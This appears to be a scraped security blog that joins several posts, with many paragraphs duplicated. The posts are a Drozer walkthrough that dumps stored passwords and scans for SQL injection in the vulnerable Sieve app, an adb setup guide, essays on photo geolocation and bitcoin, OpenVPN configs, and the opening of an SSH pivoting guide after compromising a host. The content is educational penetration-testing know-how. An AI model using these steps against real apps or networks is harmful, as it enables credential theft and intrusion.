This is part II of my walkthru of pentesting Android Apps using Drozer. In case you haven't read the first part, here. Please go thru it as I had covered how to connect the emulator or Android device to a host with the use of adb. The idea of using Drozer is to test the IPC processes between apps, akin to testing east and west communications. Much of my walkthru was taken from the Drozer user guide, here. My intention of documenting it is for my reference and document some idea of how basic dynamic analysis is performed on Android apps.
1. Download Sieve apk
2. Install Drozer agent on the device or emulator
3. Install Sieve and configure some passwords
4. Start Drozer agent
5. List devices that are connected, emulator or physical device:
# adb devices
List of devices attached
G6AZCY03R9063SF device
6. Fwd the connection from device to host
# adb forward tcp:31415 tcp:31415
7. Start Drover server
# drozer console connect
Selecting 71cf13dc4e2c532c (asus ASUS_Z012D 7.0)
.. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.
drozer Console (v2.3.4)
dz>
7. Check for pakage sieve:
dz> run app.package.list -f sieve
com.mwr.example.sieve (Sieve)
8. Check package info:
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Application Label: Sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/user/0/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-1/base.apk
UID: 10199
GID: [3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
9. Check the attack surface:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
Now, the activities are the pages available on the app. The Broadcast is the advertised msg that sieve sends to other apps, the content is basically the database and the sevices are the background functions by this app. Debugable is good news since it means we can step thru the code once adb is attached.
10. Check the type of activities that are exportable:
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
11. Looks like the PWList can be exported!! Lets try and start it:
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
12. On the emulator, you should see the screen pop up with the PWList page!
13. Now, time to probe the database! Lets see what we can find in the exported content using Drozer scanner:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
14. Looks like there are 3 accessible contents:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
| _id | service | username | password | email |
| 1 | maybank2u | johnlee | MaKVa1uGBpBHMFcRAdm8m1iXBUHVOmxYjCchfQ== (Base64-encoded) | |
| 2 | ambank | saralee | Nu7NYGzevKQflz3Mb6Ul/XKEpnyPHlcjqhM= (Base64-encoded) | saralee@fee.com |
| 3 | yahoomail | tasha.fox | ysG1+0SFpdMpwJ/nCVBci+T9bX/+mA== (Base64-encoded) | tasha.fox@yahoo.com.my |
15. Using base 64 decoder, you should be able to decode those passwords easily.
16. Lets look for sql injection vulnerabilities in the db:
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.FileBackupProvider
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
17. From here, you can use the app.provider.query to perform SQLi. Most of these steps are outline in the Drozer user guide.
The above steps represent a summary walkthru of using Drozer to test inter processes communication (IPC) between apps. It is merely a small slice of the application pen test suit. There are other vulnerable apps out there for educational purposes such as GoatDroid for those that are interested to pursue it further. Also, check out OWASP Mobile Security Testing Guide.
In part 3, I will cover another method of pentesting. This time I will attempt to use an application proxy such as Burp to intercept http requests to dissect client server communication.
buf="\x6a\x0a\x5e\x31\xdb Cyber Security Rants, w00t!"
Saturday, August 26, 2017
Saturday, August 19, 2017
Android Penetration Testing - Part 1
Mobile apps are all the rage these days! People are using mobile apps for everything from banking to transferring money to finding dates online. The security aspect of these apps is still in its infancy. Where most pentesters are accustomed to hacking web apps, mobile apps are rather unique in a way because the Android OS is built differently than a PC OS. The highly sandboxed environment enables virtualization of any apps that run on it. Thus, each app is protected and has limited access to the underlying hardware abstract layer. In my 3 part series, I will approach hacking Android mobile apps by first introducing the adb connector and running an emulated version of Android. In my next series, I will run thru the steps of using drozer to do dynamic analysis using a vulnerable app for practice.
Pentesting mobile apps on Android Operating System requires you to interact directly with the mobile device or via an emulator. The adb (android debugger bridge) utility allows you to do just that, it is included in the android-sdk package on Linux. You can download it here or run:
# apt-get install android-sdk
The adb command is in the ~/android-sdk/platform-tools/ directory, you can just do a:
# ln -s ~/android-sdk/platform-tools/adb /usr/local/bin/adb
Once you have it installed, run the command:
# adb
Android Debug Bridge version 1.0.39
Revision 3db08f2c6889-android
Installed as /mnt/sdb3/android-sdk/platform-tools/adb
global options:
....
....
Now, you have 2 options:
1. Run the Android SDK Android Virtual Device Manager(AVD) to emulate a virtual Android device on your PC.
OR
2. Plug your phone directly into the PC with a usb cable.
Since I don't wanna screw my real device up, I'll opt for the emulator option, that way any mistake I make, I can just revert the emulator. It's sort of like running a Virtual Machine for Androids.
The AVD is in the ~/android-sdk/tools/android. Just symbolic link it to your /usr/local/bin for convenience.
# ln -s ~/android-sdk/tools/android /usr/local/bin/android
Now execute 'android':
Next, make sure you install the required Android API, eg if you intend to create an Andoird 4.4.2 (API 19), check it and install.
Create your Virtual Device and select the appropriate settings:
Your Android Virtual Device should look like this:
Now, it is time to connect to this emulator via adb. Take note of the port assigned, in this case 5554. You are going to use adb to connect to it
Follow these instructions:
1. Enable USB Debugging on the emulator, just like you would do on a real device, go to settings, tap on build no 5 times then go to developer settings and check usb debugging.
2. Use adb to list the devices ready:
# adb devices
List of devices attached
emulator-5554 device
This means you are connected to the Android emulator! In my next article, we will cover how to use Drozer to start the penetration test on a vulnerable app.
Happy hacking folks! :-)
Pentesting mobile apps on Android Operating System requires you to interact directly with the mobile device or via an emulator. The adb (android debugger bridge) utility allows you to do just that, it is included in the android-sdk package on Linux. You can download it here or run:
# apt-get install android-sdk
The adb command is in the ~/android-sdk/platform-tools/ directory, you can just do a:
# ln -s ~/android-sdk/platform-tools/adb /usr/local/bin/adb
Once you have it installed, run the command:
# adb
Android Debug Bridge version 1.0.39
Revision 3db08f2c6889-android
Installed as /mnt/sdb3/android-sdk/platform-tools/adb
global options:
....
....
Now, you have 2 options:
1. Run the Android SDK Android Virtual Device Manager(AVD) to emulate a virtual Android device on your PC.
OR
2. Plug your phone directly into the PC with a usb cable.
Since I don't wanna screw my real device up, I'll opt for the emulator option, that way any mistake I make, I can just revert the emulator. It's sort of like running a Virtual Machine for Androids.
The AVD is in the ~/android-sdk/tools/android. Just symbolic link it to your /usr/local/bin for convenience.
# ln -s ~/android-sdk/tools/android /usr/local/bin/android
Now execute 'android':
Next, make sure you install the required Android API, eg if you intend to create an Andoird 4.4.2 (API 19), check it and install.
Create your Virtual Device and select the appropriate settings:
Your Android Virtual Device should look like this:
Now, it is time to connect to this emulator via adb. Take note of the port assigned, in this case 5554. You are going to use adb to connect to it
Follow these instructions:
1. Enable USB Debugging on the emulator, just like you would do on a real device, go to settings, tap on build no 5 times then go to developer settings and check usb debugging.
2. Use adb to list the devices ready:
# adb devices
List of devices attached
emulator-5554 device
This means you are connected to the Android emulator! In my next article, we will cover how to use Drozer to start the penetration test on a vulnerable app.
Happy hacking folks! :-)
Sunday, July 16, 2017
Location Service in Pictures
Background
Posting pictures on social media is the trend these days. People like to show off their lifestyle, kids, vacations, material possessions, spouses, gf/bf/etc. While it is entirely an individual choice to do so, not many people are aware that pictures taken with mobile apps have built-in location services. Usually, these apps prompt the user with an option to either activate or deactivate it. There are sneaky apps that don't. Some can even activate it without your consent and sneakishly deactivate after you used it, however, this is no longer possible with newer versions of Android as Google has disallowed apps to directly access GPS service. Beware, there are apps available in the play store posing as legitimate ones. Though you are more likely to pick up malware from 3rd party sites. In case of iOS, the chance is less since 3rd party apps are not available on Apple phones.
What is Location Service?
Location service is basically GPS coordinates mapped onto a geographical map. Almost all mobile devices now have GPS chips built into it. People switch on GPS when using Waze or Google maps. Modern GPS locks on to 4 low orbiting satellites to home in your precise location and is accurate up to 4 meters! In the past, such accuracy was only available to the military. But these days, it is free for anyone. Google location service collates information from 3 different sources:
1. GPS - which is the primary choice and the most accurate.
2. WiFi Signal - accuracy depends on the signal strength, Google keeps a location list of common public hotspots such as airports, train terminals, Starbucks outlets around the world.
3. Cellular Base Station Transmission - accurate up to few hundred meters. Based on site triangulation of recipients' signal strength relative to the distance between 1 or more base stations.
1. GPS - which is the primary choice and the most accurate.
2. WiFi Signal - accuracy depends on the signal strength, Google keeps a location list of common public hotspots such as airports, train terminals, Starbucks outlets around the world.
3. Cellular Base Station Transmission - accurate up to few hundred meters. Based on site triangulation of recipients' signal strength relative to the distance between 1 or more base stations.
Location Service Dissected
In this article, I will explain how to detect location services in your pictures. Such data is also referred as metadata, or data about data. Firstly, lets take a photo with a location service turned ON.
Picture above was taken with Location Service turned ON
Most modern Operating Systems are able to detect metadata tags embedded in popular picture formats such as jpeg, gif, tiff, png and bmp. Here's an example of a GPS coordinate in a picture detected using Windows:
Extensive metadata can be read using an EXIF tool. Here's a sample of metadata detected on Linux:
Who and Why Do We need Such Service?
From a commercial point of view, such information is useful for marketing purposes. Mobile apps are not free without a reason. There must be some commercial returns for providing a 'free' service. How do you think Google, FaceBook, Instagram, Twitter make so much $$$$? Whatever information you post, are stored for analytics on their servers. We are talking about terabytes of data from around the world! It can be used to create targeted advertisements based on individual preferences. Imagine, if you knew your customers precise location, favourite food, hangout spots, clothes, shopping behaviour, names, age, etc. They virtually know what products and services to entice you. These companies know alot about you than you are consciously aware. Location Service is just the tip of the iceberg. For example, Google & FB have been around for at least a decade, we have our emails, pictures, practically our whole life story stored on their servers! These giants also acquire other companies. A good example was the acquisition of Instagram & Waze by FB and Google respectively. So now, they also know where you travel and what you see! Reminds me of Skynet in the Terminator movie!
How To Protect Myself?
Unless you are a criminal or someone wanted, I wouldn't be too worried about your personal information being mined, afterall it is primarily for commercial purposes. But I would be careful of over exposing your personal information for everybody to see. These companies are usually govern by local privacy laws, depending on which country you live in, your personal information should be protected. However, that doesn't mean you should happily post information that can further incriminate you. Such as posting picture of your kids schools, your private residence, car registration, social security id, passport, banking details, etc. One very important step before you install any mobile app, is to check its permission settings. On Android, this can be seen in Settings - Apps - Apps Info. See screenshot below:
Note that the above app needs location service and camera permission. That means it can activate your phone's camera and GPS when needed ;-) where possible, you may opt to deactivate some of these permissions but your app might complain or cease to function. The final decision to install the app is up to you, if you are confident that the app is trusted, by all means, go ahead and install it.
Note that the above app needs location service and camera permission. That means it can activate your phone's camera and GPS when needed ;-) where possible, you may opt to deactivate some of these permissions but your app might complain or cease to function. The final decision to install the app is up to you, if you are confident that the app is trusted, by all means, go ahead and install it.
Screenshot Depicts the App Permission Settings which can be changed
Summary
The world is becoming smaller, with the advert of social media and the Internet, we are certainly more connected. Practising self censorship and user discretion is imperative in creating a safer world. Remember, information security is everyone's responsibility and it is our responsibility to educate the people that we love.
Saturday, July 15, 2017
What's The Fuss With Bitcoins?
Bitcoins are the rage now. People are talking about the crypto currency and are buying it in the hopes that the value will increase in the future. So what's bitcoin? To sum it out, bitcoin is a virtual currency created by a mysterious person by the name of Satoshi Nakamoto, no one really knows his real identify, though, there have been documented cases of 'him' being arrested in Australia.
Basically, bitcoin is a a product of a computed algorithm with a finite value. Its value is determine by general supply and demand. While there is no central orginization that governs it, its value is mined by computers participating (known as Blockchain) around the world. When it was first intercepted, it was easy to compute/mine a bitcoin but over the years, its algorithm has computationally increased, thus, making it more difficult to create. This was done by design, to control its value. Anyone that wishes to trade in bitcoin will have an electronic wallet that is protected by a private key with passphrase. It can be stored offline on am usb drive or online with a bitcoin exchange service. When a transaction is made, all computers that are in the blockchain will update its individual ledger. It is akin to everyone in the room updating their 'I owe you' books. For example, you borrow Jim 1 dollar, everyone in the room will take note of it and when you pay him back, they will make note of it again. In order to mine more bitcoins, computers in this blockchain will have to compute an algorithm to validate these transactions. These 'miners', will be rewarded with a bitcoin value.
Some people predict that bitcoin value will increase in the future, what makes it more attractive is that more and more merchants on the Internet are accepting bitcoins for payment of goods and services. There are also bitcoin 'exchange' services on the net that provides conversions of bitcoin to currency for a small service fee.
From a security perspective, bitcoin provides anonymity as you do not need to reveal your personal identity to be part of it blockchain. Every wallet is identified by a computed hash value. However, be sure to protect your bitcoin wallet, never fully trust bitcoin exchanges with your private key. If someone gets hold of it, he can make transactions using your wallet. There was a recent case of a bitcoin exchanged hacked, as a result, many people incurred losses.
Basically, bitcoin is a a product of a computed algorithm with a finite value. Its value is determine by general supply and demand. While there is no central orginization that governs it, its value is mined by computers participating (known as Blockchain) around the world. When it was first intercepted, it was easy to compute/mine a bitcoin but over the years, its algorithm has computationally increased, thus, making it more difficult to create. This was done by design, to control its value. Anyone that wishes to trade in bitcoin will have an electronic wallet that is protected by a private key with passphrase. It can be stored offline on am usb drive or online with a bitcoin exchange service. When a transaction is made, all computers that are in the blockchain will update its individual ledger. It is akin to everyone in the room updating their 'I owe you' books. For example, you borrow Jim 1 dollar, everyone in the room will take note of it and when you pay him back, they will make note of it again. In order to mine more bitcoins, computers in this blockchain will have to compute an algorithm to validate these transactions. These 'miners', will be rewarded with a bitcoin value.
Some people predict that bitcoin value will increase in the future, what makes it more attractive is that more and more merchants on the Internet are accepting bitcoins for payment of goods and services. There are also bitcoin 'exchange' services on the net that provides conversions of bitcoin to currency for a small service fee.
From a security perspective, bitcoin provides anonymity as you do not need to reveal your personal identity to be part of it blockchain. Every wallet is identified by a computed hash value. However, be sure to protect your bitcoin wallet, never fully trust bitcoin exchanges with your private key. If someone gets hold of it, he can make transactions using your wallet. There was a recent case of a bitcoin exchanged hacked, as a result, many people incurred losses.
Setting Up Your Own VPN Server
In my last article, I touched on protecting your data. One of the suggested mitigation is to encrypt data during transmission. Anytime after you connect to an untrusted network such as a public wifi hotspot, you should turn on VPN immediately. In my article today, I will describe the steps to setup your own VPN server. I recommend to setup your own server rather than purchase VPN services off the net because you will have more control over the encryption level and granularity of its logs. Beware, some free VPN services keep logs of your connections for commercial purposes. Also, some VPN services are configured with weak encryption or incorrect configurations that can lead to unwanted data leaks.
The OpenVPN package is an open source solution and is free. Firstly, you will need to find a VPS(Virtual Private Server) that supports TUN(Tunneling). I recommend vpscheap. The Internet speed is fast and they don't limit your bandwidth.
VPS Configuration
Firstly, check the TUN/TAP option ON in Control Panel:
Once that is done, you will need to login to your VPS Operating System. I recommend Ubuntu 14 64bit. I won't cover the steps on setting it up here as it is quite straight forward once you have bought a vps subscription.
OpenVPN Server installation
On the operating system of your choice, install openvpn using the root account:
1. apt-get update
2. apt-get install openvpn
OpenVPN Server configuration
Now, create a simple config file:
Save the file as server.conf in /etc/openvpn/. Now, you will need to create the following certs:
1. ca.crt
2. cert.crt
3. secrect.key
Create your certs
The steps for creating the certs can be found, here or here.
Once you have created them, save these certs in /etc/openvpn/.
Start openvpn service:
# service openvpn start
OR
# openvpn /etc/openvpn/server.conf
Setup IPTABLES to SNT/MASQ the connections outbound from your vpn server
# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to <your public ip here>
Activate ip fwd
If everything went right, you should not see any errors, that means openvpn server is successfully running on your vps.
OpenVPN Client Installation and configuration
Create the following client config:
The client.conf file along with the certs should be transferred to your client device. The step below describes the steps to configure an Android device to connect to openvpn server:
1. Download your favourite vpn client, I recommend OpenVPN client.
2. Transfer client.conf along with the following certs:
4. Connect to your vpn server
In summary, using a correctly configured VPN will protect your privacy and your connection from hijacking but it will NOT protect you from identity theft or intrusions. Always practice safe browsing and never post sensitive information on the Internet. Irregardless of which website you are submitting personal data, always scrutinise the need for having to provide them your personal info.
The OpenVPN package is an open source solution and is free. Firstly, you will need to find a VPS(Virtual Private Server) that supports TUN(Tunneling). I recommend vpscheap. The Internet speed is fast and they don't limit your bandwidth.
VPS Configuration
Firstly, check the TUN/TAP option ON in Control Panel:
Once that is done, you will need to login to your VPS Operating System. I recommend Ubuntu 14 64bit. I won't cover the steps on setting it up here as it is quite straight forward once you have bought a vps subscription.
OpenVPN Server installation
On the operating system of your choice, install openvpn using the root account:
1. apt-get update
2. apt-get install openvpn
Now, create a simple config file:
# Which local IP address should OpenVPN
# listen on? (optional)
local xxx.xxx.xxx <-- your server ip addr here
# Which TCP/UDP port should OpenVPN listen on?
# If you want to run multiple OpenVPN instances
# on the same machine, use a different port
# number for each one. You will need to
# open up this port on your firewall.
port 1194
# TCP or UDP server?
proto udp
# "dev tun" will create a routed IP tunnel,
# "dev tap" will create an ethernet tunnel.
# Use "dev tap0" if you are ethernet bridging
# and have precreated a tap0 virtual interface
# and bridged it with your ethernet interface.
# If you want to control access policies
# over the VPN, you must create firewall
# rules for the the TUN/TAP interface.
# On non-Windows systems, you can give
# an explicit unit number, such as tun0.
# On Windows, use "dev-node" for this.
# On most systems, the VPN will not function
# unless you partially or fully disable
# the firewall for the TUN/TAP interface.
;dev tap
dev tun
# Windows needs the TAP-Win32 adapter name
# from the Network Connections panel if you
# have more than one. On XP SP2 or higher,
# you may need to selectively disable the
# Windows firewall for the TAP adapter.
# Non-Windows systems usually don't need this.
;dev-node MyTap
# SSL/TLS root certificate (ca), certificate
# (cert), and private key (key). Each client
# and the server must have their own cert and
# key file. The server and all clients will
# use the same ca file.
#
# See the "easy-rsa" directory for a series
# of scripts for generating RSA certificates
# and private keys. Remember to use
# a unique Common Name for the server
# and each of the client certificates.
#
# Any X509 key management system can be used.
# OpenVPN can also use a PKCS #12 formatted key file
# (see "pkcs12" directive in man page).
ca ca.crt
cert cert.crt
key secret.key # This file should be kept secret
# Diffie hellman parameters.
# Generate your own with:
# openssl dhparam -out dh1024.pem 1024
# Substitute 2048 for 1024 if you are using
# 2048 bit keys.
dh dh2048.pem
# Configure server mode and supply a VPN subnet
# for OpenVPN to draw client addresses from.
# The server will take 10.8.0.1 for itself,
# the rest will be made available to clients.
# Each client will be able to reach the server
# on 10.8.0.1. Comment this line out if you are
# ethernet bridging. See the man page for more info.
server 10.8.0.0 255.255.255.0
# Maintain a record of client <-> virtual IP address
# associations in this file. If OpenVPN goes down or
# is restarted, reconnecting clients can be assigned
# the same virtual IP address from the pool that was
# previously assigned.
ifconfig-pool-persist ipp.txt
# Configure server mode for ethernet bridging.
# You must first use your OS's bridging capability
# to bridge the TAP interface with the ethernet
# NIC interface. Then you must manually set the
# IP/netmask on the bridge interface, here we
# assume 10.8.0.4/255.255.255.0. Finally we
# must set aside an IP range in this subnet
# (start=10.8.0.50 end=10.8.0.100) to allocate
# to connecting clients. Leave this line commented
# out unless you are ethernet bridging.
;server-bridge 10.8.0.4 255.255.255.0 10.8.0.50 10.8.0.100
# Configure server mode for ethernet bridging
# using a DHCP-proxy, where clients talk
# to the OpenVPN server-side DHCP server
# to receive their IP address allocation
# and DNS server addresses. You must first use
# your OS's bridging capability to bridge the TAP
# interface with the ethernet NIC interface.
# Note: this mode only works on clients (such as
# Windows), where the client-side TAP adapter is
# bound to a DHCP client.
;server-bridge
# Push routes to the client to allow it
# to reach other private subnets behind
# the server. Remember that these
# private subnets will also need
# to know to route the OpenVPN client
# address pool (10.8.0.0/255.255.255.0)
# back to the OpenVPN server.
;push "route 192.168.10.0 255.255.255.0"
;push "route 192.168.20.0 255.255.255.0"
# To assign specific IP addresses to specific
# clients or if a connecting client has a private
# subnet behind it that should also have VPN access,
# use the subdirectory "ccd" for client-specific
# configuration files (see man page for more info).
# EXAMPLE: Suppose the client
# having the certificate common name "Thelonious"
# also has a small subnet behind his connecting
# machine, such as 192.168.40.128/255.255.255.248.
# First, uncomment out these lines:
;client-config-dir ccd
;route 192.168.40.128 255.255.255.248
# Then create a file ccd/Thelonious with this line:
# iroute 192.168.40.128 255.255.255.248
# This will allow Thelonious' private subnet to
# access the VPN. This example will only work
# if you are routing, not bridging, i.e. you are
# using "dev tun" and "server" directives.
# EXAMPLE: Suppose you want to give
# Thelonious a fixed VPN IP address of 10.9.0.1.
# First uncomment out these lines:
;client-config-dir ccd
;route 10.9.0.0 255.255.255.252
# Then add this line to ccd/Thelonious:
# ifconfig-push 10.9.0.1 10.9.0.2
# Suppose that you want to enable different
# firewall access policies for different groups
# of clients. There are two methods:
# (1) Run multiple OpenVPN daemons, one for each
# group, and firewall the TUN/TAP interface
# for each group/daemon appropriately.
# (2) (Advanced) Create a script to dynamically
# modify the firewall in response to access
# from different clients. See man
# page for more info on learn-address script.
;learn-address ./script
# If enabled, this directive will configure
# all clients to redirect their default
# network gateway through the VPN, causing
# all IP traffic such as web browsing and
# and DNS lookups to go through the VPN
# (The OpenVPN server machine may need to NAT
# or bridge the TUN/TAP interface to the internet
# in order for this to work properly).
push "redirect-gateway def1 bypass-dhcp"
# Certain Windows-specific network settings
# can be pushed to clients, such as DNS
# or WINS server addresses. CAVEAT:
# http://openvpn.net/faq.html#dhcpcaveats
# The addresses below refer to the public
# DNS servers provided by opendns.com.
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"
# Uncomment this directive to allow different
# clients to be able to "see" each other.
# By default, clients will only see the server.
# To force clients to only see the server, you
# will also need to appropriately firewall the
# server's TUN/TAP interface.
;client-to-client
# Uncomment this directive if multiple clients
# might connect with the same certificate/key
# files or common names. This is recommended
# only for testing purposes. For production use,
# each client should have its own certificate/key
# pair.
#
# IF YOU HAVE NOT GENERATED INDIVIDUAL
# CERTIFICATE/KEY PAIRS FOR EACH CLIENT,
# EACH HAVING ITS OWN UNIQUE "COMMON NAME",
# UNCOMMENT THIS LINE OUT.
duplicate-cn
# The keepalive directive causes ping-like
# messages to be sent back and forth over
# the link so that each side knows when
# the other side has gone down.
# Ping every 10 seconds, assume that remote
# peer is down if no ping received during
# a 120 second time period.
keepalive 120 340
# For extra security beyond that provided
# by SSL/TLS, create an "HMAC firewall"
# to help block DoS attacks and UDP port flooding.
#
# Generate with:
# openvpn --genkey --secret ta.key
#
# The server and each client must have
# a copy of this key.
# The second parameter should be '0'
# on the server and '1' on the clients.
;tls-auth ta.key 0 # This file is secret
# Select a cryptographic cipher.
# This config item must be copied to
# the client config file as well.
;cipher BF-CBC # Blowfish (default)
cipher AES-128-CBC # AES
;cipher DES-EDE3-CBC # Triple-DES
# Enable compression on the VPN link.
# If you enable it here, you must also
# enable it in the client config file.
comp-lzo
# The maximum number of concurrently connected
# clients we want to allow.
max-clients 6
# It's a good idea to reduce the OpenVPN
# daemon's privileges after initialization.
#
# You can uncomment this out on
# non-Windows systems.
user nobody
group nogroup
# The persist options will try to avoid
# accessing certain resources on restart
# that may no longer be accessible because
# of the privilege downgrade.
persist-key
persist-tun
# Output a short status file showing
# current connections, truncated
# and rewritten every minute.
;status openvpn-status.log
# By default, log messages will go to the syslog (or
# on Windows, if running as a service, they will go to
# the "\Program Files\OpenVPN\log" directory).
# Use log or log-append to override this default.
# "log" will truncate the log file on OpenVPN startup,
# while "log-append" will append to it. Use one
# or the other (but not both).
;log openvpn.log
;log-append openvpn.log
# Set the appropriate level of log
# file verbosity.
#
# 0 is silent, except for fatal errors
# 4 is reasonable for general usage
# 5 and 6 can help to debug connection problems
# 9 is extremely verbose
verb 3
# Silence repeating messages. At most 20
# sequential messages of the same message
# category will be output to the log.
;mute 20
Save the file as server.conf in /etc/openvpn/. Now, you will need to create the following certs:
1. ca.crt
2. cert.crt
3. secrect.key
Create your certs
The steps for creating the certs can be found, here or here.
Once you have created them, save these certs in /etc/openvpn/.
Start openvpn service:
# service openvpn start
OR
# openvpn /etc/openvpn/server.conf
Setup IPTABLES to SNT/MASQ the connections outbound from your vpn server
# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to <your public ip here>
Activate ip fwd
/etc/sysctl.conf:
net.ipv4.ip_forward = 1
If everything went right, you should not see any errors, that means openvpn server is successfully running on your vps.
OpenVPN Client Installation and configuration
Create the following client config:
# Specify that we are a client and that we
# will be pulling certain config file directives
# from the server.
client
# Use the same setting as you are using on
# the server.
# On most systems, the VPN will not function
# unless you partially or fully disable
# the firewall for the TUN/TAP interface.
;dev tap
dev tun
# Windows needs the TAP-Win32 adapter name
# from the Network Connections panel
# if you have more than one. On XP SP2,
# you may need to disable the firewall
# for the TAP adapter.
;dev-node MyTap
# Are we connecting to a TCP or
# UDP server? Use the same setting as
# on the server.
proto udp
# The hostname/IP and port of the server.
# You can have multiple remote entries
# to load balance between the servers.
remote aaa.bbb.ccc.ddd xxx <<------- your openvpn server and port here!
;remote my-server-2 1194
# Choose a random host from the remote
# list for load-balancing. Otherwise
# try hosts in the order specified.
;remote-random
# Keep trying indefinitely to resolve the
# host name of the OpenVPN server. Very useful
# on machines which are not permanently connected
# to the internet such as laptops.
resolv-retry infinite
# Most clients don't need to bind to
# a specific local port number.
nobind
# Downgrade privileges after initialization (non-Windows only)
;user nobody
;group nogroup
# Try to preserve some state across restarts.
persist-key
persist-tun
# If you are connecting through an
# HTTP proxy to reach the actual OpenVPN
# server, put the proxy server/IP and
# port number here. See the man page
# if your proxy server requires
# authentication.
;http-proxy-retry # retry on connection failures
;http-proxy [proxy server] [proxy port #]
# Wireless networks often produce a lot
# of duplicate packets. Set this flag
# to silence duplicate packet warnings.
;mute-replay-warnings
# SSL/TLS parms.
# See the server config file for more
# description. It's best to use
# a separate .crt/.key file pair
# for each client. A single ca
# file can be used for all clients.
ca ca.crt
cert client1.crt
key client.key
# Verify server certificate by checking
# that the certicate has the nsCertType
# field set to "server". This is an
# important precaution to protect against
# a potential attack discussed here:
# http://openvpn.net/howto.html#mitm
#
# To use this feature, you will need to generate
# your server certificates with the nsCertType
# field set to "server". The build-key-server
# script in the easy-rsa folder will do this.
ns-cert-type server
# If a tls-auth key is used on the server
# then every client must also have the key.
;tls-auth ta.key 1
# Select a cryptographic cipher.
# If the cipher option is used on the server
# then you must also specify it here.
cipher AES-128-CBC
# Enable compression on the VPN link.
# Don't enable this unless it is also
# enabled in the server config file.
comp-lzo
# Set log file verbosity.
verb 3
# Silence repeating messages
;mute 20
The client.conf file along with the certs should be transferred to your client device. The step below describes the steps to configure an Android device to connect to openvpn server:
1. Download your favourite vpn client, I recommend OpenVPN client.
2. Transfer client.conf along with the following certs:
ca.crt
client1.crt
client1.crt
client.key
3. Load client.cfg into the vpn client4. Connect to your vpn server
In summary, using a correctly configured VPN will protect your privacy and your connection from hijacking but it will NOT protect you from identity theft or intrusions. Always practice safe browsing and never post sensitive information on the Internet. Irregardless of which website you are submitting personal data, always scrutinise the need for having to provide them your personal info.
Tuesday, July 4, 2017
Getting Around Multihome Hosts - Part II
In my first article I described how to pivot around a multihome host using meterpreter. However, if you don't have the luxury of using one or choose not to use it, all hope is not lost. You can still use other methods of pivoting. In this second installment, I will describe method of pivoting commonly used in Unix/Linux hosts.
SSH (secure shell) is a common encrypted protocol installed by default on almost all linux hosts for remote administration. It provides administrators with command line access to run administrative tasks. Upon successfully owning a machine running SSH, it is trivial to use it to forward connections to another hosts securely. With openSSH, you have 3 methods of forwarding; local port forwarding(-L), remote port forwarding(-R) and SOCKS(-D). We will be using the first method.
Host A is a Linux host with OpenSSH installed by default. Host B is a Windows host without ssh.
Depiction of Hosts:
<Attacker host> ------------------- <Host A> -------------------- <Host B>
IP: 192.168.0.182 eth0: 192.168.0.191 192.168.52.134
eth1: 192.168.52.135
We assume that you have fully compromised Host A with root rights. By doing so, you should already have the root credentials to remotely ssh to Host A, the objective is to further compromise Host B.
On Attacker Host
We map port 445 to localhost using ssh.
SSH (secure shell) is a common encrypted protocol installed by default on almost all linux hosts for remote administration. It provides administrators with command line access to run administrative tasks. Upon successfully owning a machine running SSH, it is trivial to use it to forward connections to another hosts securely. With openSSH, you have 3 methods of forwarding; local port forwarding(-L), remote port forwarding(-R) and SOCKS(-D). We will be using the first method.
Host A is a Linux host with OpenSSH installed by default. Host B is a Windows host without ssh.
Depiction of Hosts:
<Attacker host> ------------------- <Host A> -------------------- <Host B>
IP: 192.168.0.182 eth0: 192.168.0.191 192.168.52.134
eth1: 192.168.52.135
